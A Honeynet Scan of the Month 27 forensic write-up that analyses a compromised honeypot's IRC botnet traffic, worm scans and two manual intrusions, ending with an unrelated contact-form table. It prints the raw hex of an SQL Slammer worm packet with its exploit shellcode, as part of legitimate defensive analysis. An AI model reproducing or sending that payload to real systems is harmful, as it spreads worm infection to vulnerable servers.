| Honeynet Scan of the Month 27 | |
| Submitter: | Matthijs R. Koot (koot at cyberwar.nl) |
| Date: | April 20, 2003 |
| URL: | http://www.honeynet.org/scans/scan27/ |
| Rcpt: | sotm at honeynet.org |
IRC is an abbreviation for Internet Relay Chat, a standardized method for text based chatting on the Internet over TCP/IP as originally described in RFC-1459: Internet Relay Chat Protocol. Updated by RFC-2810: Internet Relay Chat: Architecture, RFC-2811: Internet Relay Chat: Channel Management, RFC-2812: Internet Relay Chat: Client Protocol and RFC-2813: Internet Relay Chat: Server Protocol.
According to RFC-2812, an IRC client may send a PASS command. After that, it must send a NICK command and a USER command (not necessarily in that order) to the server to join the IRC network.
3.1 Connection Registration
The commands described here are
used to register a connection with an
IRC server as a user as well as to correctly disconnect.
A "PASS" command is
not required for a client connection to be
registered, but it MUST precede the latter of the NICK/USER
combination (for a user connection) or the SERVICE command (for a
service connection). The RECOMMENDED order for a client to register
is as follows:
1. Pass message
2. Nick message 2. Service message
3. User message
Upon success, the client will
receive an RPL_WELCOME (for users) or
RPL_YOURESERVICE (for services) message indicating that the
connection is now registered and known the to the entire IRC network.
The reply message MUST contain the full client identifier upon which
it was registered.
Obviously, it depends on client implementation what command it sends first.
To illustrate, I sniffed a connection set up from my system to holywar.hanirc.org,
using Trillian Pro as client. This the first packet after the TCP handshake:
0x0000 B6 A7 20 00 02 00 00 00-01 00
00 00 08 00 45 00 ¶§ ...........E.
0x0010 00 60 04 51 40 00 80 06-A2 79 D4 CB 06 E1 3D 4E .`.Q@.€.¢yÔË.á=N
0x0020 3A D3 09 29 1A 0B 51 8B-11 88 B3 95 0B 6C 50 18 :Ó.)..Q‹.ˆ³•.lP.
0x0030 44 70 0D 01 00 00 55 53-45 52 20 6C 75 6D 6D 6F Dp....USER lummo
0x0040 78 20 22 22 20 22 68 6F-6C 79 77 61 72 2E 68 61 x ""
"holywar.ha
0x0050 6E 69 72 63 2E 6F 72 67-22 20 3A 4C 75 6D 6D 6F nirc.org"
:Lummo
0x0060 78 0A 4E 49 43 4B 20 6C-75 6D 6D 6F 78 0A x.NICK
lummox.
A botnet is a system which has been compromised in some way (i.e. by a trojan), and altered to connect to an IRC server at boot. Once it is connected, the attacker is able to control the botnet using customized commands. They are the malicious equivalent of entertaining or service bots like trivia/quizzes.
Their most common use is performing DDoS attacks, i.e. CTCP attacks on specific IRC channels of the attackers choice. Theoretically, it could be used for anything from exchanging warez to identity theft; it depends on the implementation of the trojan.
Common ports for IRC are TCP 6660-6669. IRC cliënts use random ports to connect. Historically, TCP/UDP 194 was reserved for IRC, TCP/UDP 529 for IRC-SERV and TCP/UDP 6665-6669 for IRCU.
Within the context of networking, a binary log file contains the exact packets which were sent across the network (as opposed to plaintext log files which contain decoded traffic). They are created by lots of applications, like tcpdump and Snort, and are far more suitable for analysis than plaintext log files.
I opened the binary log in Ethereal, and added a filter for outbound TCP traffic to port 6660-6669, the common IRC ports. I noticed that the first 4 attempts of the trojan to connect to an IRC server failed. Attempt no.5 succeeds, after which the trojan joins #xàéüîéðìx.
I replaced the filter in Ethereal with a filter on the "USER" message (which would be one of the first messages the client sends to an IRC server on connecting), to see if there where more successful attempts to connect to IRC servers running on non-standard ports. If this were the only filter I used to answer this question, I would have known with which IRC servers actual communication took place, but I would have overlooked the IRC servers to which attempts were made to connect, but no connection could be set up. Since the first two servers listed below didn't respond, no USER message was sent and I wouldn't have known about them without filtering all outbound traffic to the common ports. Again, they were only attempts to communicate, but I thought I should name them (in theory, there could have been even more connection attempts, if they were made to non-standard ports and no connection could be set up; I couldn't locate any in the dump, though).
03/06-05:36:42.242231 172.16.134.191:1127 -> 209.126.161.29:6667
03/06-05:45:19.604225 172.16.134.191:1129 -> 66.33.65.58:6667
03/06-05:56:15.729714 172.16.134.191:1133 -> 63.241.174.144:6667
03/06-05:56:36.578252 172.16.134.191:1139 -> 217.199.175.10:6667
(the trojan once again tries to connect to server 1 and 2, and again: no response)
03/06-06:23:18.775202 172.16.134.191:1152 -> 209.196.44.172:6667
In Ethereal, I selected one of the first packets sent from the compromised honeypot 172.16.134.191 to 209.196.44.172, and used Ethereal's "Follow TCP Stream" to get this output:
NOTICE AUTH :*** Looking up your hostname...
NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** No Ident response
NOTICE AUTH :*** Found your hostname
NICK rgdiuggac
USER rgdiuggac localhost localhost :rgdiuggac
:irc5.aol.com 001 rgdiuggac :Welcome to the Internet Relay Network rgdiuggac
:irc5.aol.com 002 rgdiuggac :Your host is irc5.aol.com[irc5.aol.com/6667], running
version 2.8/hybrid-6.3.1
NOTICE rgdiuggac :*** Your host is irc5.aol.com[irc5.aol.com/6667], running
version 2.8/hybrid-6.3.1
:irc5.aol.com 003 rgdiuggac :This server was created Sun Jan 19 2003 at 19:04:03
PST
:irc5.aol.com 004 rgdiuggac irc5.aol.com 2.8/hybrid-6.3.1 oOiwszcrkfydnxb biklmnopstve
:irc5.aol.com 005 rgdiuggac WALLCHOPS PREFIX=(ov)@+ CHANTYPES=#& MAXCHANNELS=20
MAXBANS=25 NICKLEN=9 TOPICLEN=120 KICKLEN=90 NETWORK=XNet CHANMODES=be,k,l,imnpst
EXCEPTS KNOCK MODES=4 :are supported by this server
:irc5.aol.com 251 rgdiuggac :There are 0 users and 4752 invisible on 4 servers
:irc5.aol.com 252 rgdiuggac 1 :IRC Operators online
:irc5.aol.com 254 rgdiuggac 4 :channels formed
:irc5.aol.com 255 rgdiuggac :I have 346 clients and 1 servers
:irc5.aol.com 265 rgdiuggac :Current local users: 346 Max: 348
:irc5.aol.com 266 rgdiuggac :Current global users: 4752 Max: 4765
:irc5.aol.com 250 rgdiuggac :Highest connection count: 349 (348 clients) (378
since server was (re)started)
:irc5.aol.com 375 rgdiuggac :- irc5.aol.com Message of the Day -
:irc5.aol.com 372 rgdiuggac :- - WELCOME TO AMERICA ONLINE'S - IRC SERVER
:irc5.aol.com 372 rgdiuggac :-
:irc5.aol.com 372 rgdiuggac :- - !!! WARNING WARNING WARNING WARNING !!!
:irc5.aol.com 372 rgdiuggac :- - !!! THIS SERVER SCANS FOR OPEN PROXIES !!!
:irc5.aol.com 372 rgdiuggac :- - !!! PORTS: 8080,3128,80,1080,23 !!!
:irc5.aol.com 372 rgdiuggac :- - So if this is a legal problem in your
:irc5.aol.com 372 rgdiuggac :- - country please disconnect NOW!
:irc5.aol.com 372 rgdiuggac :- - We do this to make your IRC experience
:irc5.aol.com 372 rgdiuggac :- - more enjoyable.
:irc5.aol.com 376 rgdiuggac :End of /MOTD command.
:rgdiuggac MODE rgdiuggac :+i
MODE rgdiuggac -x
MODE rgdiuggac +i
JOIN #xàéüîéðìx :sex0r
WHO rgdiuggac
:rgdiuggac!~rgdiuggac@pc0191.example.com JOIN :#xàéüîéðìx
:irc5.aol.com 353 rgdiuggac @ #xàéüîéðìx
:rgdiuggac mikeoof riktgisli moongihli garcmobhc tixicok likenik rndvcoke mponptti
moinhoyf oarcqeii cozfboy nolvped kiangiil aiiieahi idoiaiq gsrcaahh rockpdlhi
stepbeyz aotkugxyc cikebocsz fgwiuglyc rositik radicioli radpneni miaeuglya
ydsicoke rojigpr jiklniki kiwbcoka coloagsy mikzbovz maaenifi gaanoee rogqpenq
iqonsohwh stepfakis cibesout stepupo rozijri kikiqwni pishcic rocrjouj oosirafwp
rkinrahsm rldiuzl rickboyrz stenpguih mrhenik gtccugl toonyeni
:irc5.aol.com 353 rgdiuggac @ #xàéüîéðìx
:aloncoseb rrscbfgzz radlmonid mibecoohd yockpohis woihnere miaelic titiaevis
jiweuggy kolfual inykrahim garofonit titsbsy moosoln qaepuikis kiwppitha ghrcnop
aarcsoofh rgsicoked mgoliou sulksout tjtimvni wolfpeens nodimich stwpgirii moenjahig
rilkeokem hoohmiu qoleniki rdeiregim racipanw rrqicwk kiwttod gaspponic jmwibotz
rogilrn rozkgit oldzhoke guckboz mitioez fomfmoni sompyomim gaecbohi mykegirdi
oouiugl oadinikzs akepnqk tinimoe mstevoa rociivut gkrcnaks
(...about 500 more lines of communication...)
Since the honeynet joined, there were 175 other joins on #xàéüîéðìx during the five day observation. To get that result, I grep'd the JOIN's from the remaining 500 lines (as I referred to above), resulting in 175 lines similar to the following:
:moinoonik!~moinoonik@61.111.228.17
JOIN :#xàéüîéðìx
:oiwigfrl!~oiwigfrl@host34.2106211.gcn.net.tw JOIN :#xàéüîéðìx
:mikemrrh!~mikemrrh@dyn33-37.sftm-212-159.plus.net JOIN :#xàéüîéðìx
:harpnikis!~harpnikis@61.102.8.164 JOIN :#xàéüîéðìx
:sjepboyzw!~sjepboyzw@210.206.122.7 JOIN :#xàéüîéðìx
(...)
Once the honeynet joined, there were 3456 items in the NAMES list. Assuming that each NAME is a unique host, and no cloning techniques have been used, the aggregate bandwidth of the botnet network can be calculated like this:
56 kilobit/s = 7 kilobyte/s
3456 bots * 7 KB/s = 24192 KB/s
So the aggregate bandwidth of the botnet would be at least 24MB/s. However, regarding the current availability of cheap broadband connections worldwide (xDSL, cable, satellite, wireless), the real aggregate bandwidth is probably much higher.
Look at the complete list with 141 probing or attacking hosts. I created the list using Ethereal to filter out all irrelevant traffic (see Other results) and include all originating inbound traffic, saved the filtered traffic in a seperate logfile. Then I used Snort to convert the logfile to readable format (snort -r <filename>), and used the following quick'n'dirty command to get the actual IP addresses:
$ grep " -> " orig_traffic.log |cut -d' ' -f2|cut -d':' -f1 > ips.txt
I created a small shellscript to check the reverse DNS hostname belonging to each IP address (if available). Every resolved hostname should point to some ISP pool, or a compromised system, but nothing like "www.google.com" (unless IP spoofing was used or I made a mistake using the filters in Ethereal).
#!/bin/bash
for ipaddress in `cat ips.txt|tr
'\r' ' '`
do
host -t a $ipaddress
done
Comparable traffic patterns occured several times (calls to TCP/445 for OpenUser, OpenDomain, GetGroups, EnumDomains, LookupRIDs , ...) from different hosts, which made me think of the W32/Lioten worm (aka IraqiWorm). This would also explain the tiny dictionary attacks from 66.139.10.15, 210.22.204.101 and 209.45.135.69.
According to the captured traffic, there have been several attempts to connect to shares. Probably worm activity, most likely the IraqiWorm or a variant. Attacking hosts tried to connect using Null Sessions to specific shares (\\PC0191\IPC$, \\PC0191\ADMIN$, \\PC0191\C$), using blank passwords and attempted service enumeration through Microsoft DS. Not all similar traffic can be accounted to that worm though; in Attack B (see below), it seems that a modified version of the worm is active, which 1) first checks for MS-SQL on TCP/1433, 2) secondly checks for NetBIOS on TCP/139 and after abusing Microsoft DS on TCP/445 it 3) uploads RADMIN i.s.o. iraqi_oil.exe as the original worm did.
Lots of packets were sent to UDP/137 requesting the NetBIOS name table, and from a lot of different hosts. Most of them tried to access \\PC0191\C immediately after retrieving the nametable, which suggests worm activity (no IraqiWorm though - a less powerful and older worm like network.vbs).
An impressive count of 11 attempts from a single host to exploit NULL.IDA. Take a look at the traffic snapshot in ms-iis_isapi_example.txt.gz (8KB).
This scan was done from 24.197.194.106. It looks like an automated scanner, scanning for open TCP ports (seemingly with a retry count set at 9 for probing common services like SMTP, FTP and POP3), common vulnerabilities (directory traversal using double dots: "/../../", unprotected directories) and dozens of CGI scripts that are known to be vulnerable. The attacker appeared to have a HP PC running Windows NT 4.0. Take a look at the traffic snapshot in full-scan.txt.gz (290KB).
The probing of single port suggests automated IP range scanners, operated by either a user or a program looking for some type of service. I.e. FTP is often probed by those looking for a place to host their warez/mp3's, SunRPC is known to be exploited by several Linux worms and SOCKS is used by anyone trying to hide his identity on the net (using it as an anonymizing proxy).
See http://isc.incidents.org/analysis.html?id=180. looking at the frequency of similar UDP packets to port 1434 from a range of different hosts, we're probably dealing with the W32/SQLSlammer worm. The incorrect UDP checksum header and exactly the same interface/sequence number in the RPC-DCE headers ("16843009"), AFAIK, cannot be explained otherwise than by poor coded worm trying to exploit MS-SQL. A similar packetdump can be found on http://www.baba-lab.com/26JAN2003/1434.txt. Example packet from the SotM log:
03/01-15:19:11.073849 68.37.54.69:1034
-> 172.16.134.191:1434
UDP TTL:114 TOS:0x0 ID:797 IpLen:20 DgmLen:404
Len: 376
04 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 DC C9 B0 42 EB 0E 01 01 01 01 01 01 01 70 AE ....B.........p.
42 01 70 AE 42 90 90 90 90 90 90 90 90 68 DC C9 B.p.B........h..
B0 42 B8 01 01 01 01 31 C9 B1 18 50 E2 FD 35 01 .B.....1...P..5.
01 01 05 50 89 E5 51 68 2E 64 6C 6C 68 65 6C 33 ...P..Qh.dllhel3
32 68 6B 65 72 6E 51 68 6F 75 6E 74 68 69 63 6B 2hkernQhounthick
43 68 47 65 74 54 66 B9 6C 6C 51 68 33 32 2E 64 ChGetTf.llQh32.d
68 77 73 32 5F 66 B9 65 74 51 68 73 6F 63 6B 66 hws2_f.etQhsockf
B9 74 6F 51 68 73 65 6E 64 BE 18 10 AE 42 8D 45 .toQhsend....B.E
D4 50 FF 16 50 8D 45 E0 50 8D 45 F0 50 FF 16 50 .P..P.E.P.E.P..P
BE 10 10 AE 42 8B 1E 8B 03 3D 55 8B EC 51 74 05 ....B....=U..Qt.
BE 1C 10 AE 42 FF 16 FF D0 31 C9 51 51 50 81 F1 ....B....1.QQP..
03 01 04 9B 81 F1 01 01 01 01 51 8D 45 CC 50 8B ..........Q.E.P.
45 C0 50 FF 16 6A 11 6A 02 6A 02 FF D0 50 8D 45 E.P..j.j.j...P.E
C4 50 8B 45 C0 50 FF 16 89 C6 09 DB 81 F3 3C 61 .P.E.P........<a
D9 FF 8B 45 B4 8D 0C 40 8D 14 88 C1 E2 04 01 C2 ...E...@........
C1 E2 08 29 C2 8D 04 90 01 D8 89 45 B4 6A 10 8D ...).......E.j..
45 B0 50 31 C9 51 66 81 F1 78 01 51 8D 45 03 50 E.P1.Qf..x.Q.E.P
8B 45 AC 50 FF D6 EB CA .E.P....
Similar packets were received from these 47 hosts (and since the worm doesn't spoof it's source address, we can assume that these hosts are all infected with the W32/SQLSlammer worm). I created the list by filtering all packets sent to 172.16.134.191:1434 over UDP and doing a quick inspection of the contents of each packet.
1) attacks on Microsoft DS, TCP/445 (i.e. connect to \\PC0191\ADMIN$ using
the Administrator account, blank password)
2) attacks on Microsoft IIS Indexing Service, TCP/80 (NULL.IDA)
3) all service discovery and enumeration attempts are regarded successful, as
information was disclosed regarding public availability of network services
(remember, being unavailable is information too!)
See the description of Human Attack A and Human Attack B below.
RADMIN was uploaded and executed by 210.22.204.101 (r_server.exe, raddrv.dll, admdll.dll)
This attacker has been playing with the honeynet for almost 14 minutes, which is reasonably long. By analyzing the attacker's behavior, it is obvious that we're not dealing with a worm or automated tool here.
PSEXEC was uploaded and executed by 61.111.101.78 (psexesvc.exe, inst.exe)
Looked like some variant of the W32/Deloder worm at first, which might explain the incorrect TCP checksums. But that doest not explain the DELETE requests that were made, nor the irregular DCE-RPC Call probes (first ranging 1-50, secondly 1-9, then 1-27), nor the 281 sec timeline for this attack, nor the sequence of operation. My guess is a novice cracker.
About 5 minutes after this attack, the honeypot suddenly starts connecting to those IRC servers.
Between attack A and B, the following happens...
| Form field | Value |
|---|---|
| name | Bill McCarty |
| company | Azusa Pacific University |
| address | 901 East Alosta Avenue |
| city | Azusa |
| state | CA |
| country | United States |
| zip | 91702-7000 |
| phone | 626-815-6000 |
| bmccarty at apu.edu | |
| industry | Education |
| locations | 1-9 |
| hearabout | Trade Show |